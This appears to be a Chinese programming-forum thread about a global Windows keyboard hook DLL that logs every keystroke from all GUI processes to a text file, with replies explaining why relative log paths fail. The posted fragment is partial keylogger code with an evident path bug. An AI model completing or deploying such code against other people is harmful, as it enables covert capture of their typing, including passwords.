做了键盘钩子,但是有一点比较郁闷,就是结果只能保存在  C:\\盘,即是f1=fopen("c:\\hook.txt","w"); 这种能正常纪录结果。若是改成f1=fopen(".\\hook.txt","w"),或者f1=fopen("hook.txt","a+"),在钩子的EXE目录下有hook.txt生成,但是没有纪录结果;请指点!!

解决方案 »

  1.   

    钩子的原理是Dll注入,对于一次具体的Hook回调执行过程,其对应的当前目录,是被拦截的进程的当前目录,而不是创建钩子的.Exe的当前目录。因此,你必须直接指定具体目录,不可以用f1=fopen("hook.txt","a+")之类的方法。
      

  2.   

    注入钩子的时候,你的包含钩子代码的DLL被注入到系统每一个包含界面的进程中,不能只给一个相对路径。
      

  3.   

    可是我用GetModuleFileName()把结果指定具体目录到EXE的路径中,记录结果是空的,但是有hook.txt存在,Why?
      

  4.   

    CString sPath1;//global variable
    .................
    CString sPath;
    GetModuleFileName(NULL,sPath.GetBufferSetLength(MAX_PATH+1),MAX_PATH);
    sPath.ReleaseBuffer();
    int nPos;
    nPos=sPath.ReverseFind('\\');
    sPath1=sPath+"\\hook.txt";
    ...........
    char ch;
    if (((DWORD)lParam & 0x40000000) &&(HC_ACTION==nCode))
    {
    if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100)) 
    {
    f1=fopen(sPath1,"a+");
    if (wParam==VK_RETURN)
    { ch='\n';
    fwrite(&ch,1,1,f1);
    }
    else
    {........
    }
    ...............
    BOOL __declspec(dllexport)__stdcall installhook()
    {
    f1=fopen(sPath1,"w");
    fclose(f1);
    hkb=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)KeyboardProc,hins,0);

    return TRUE;
    }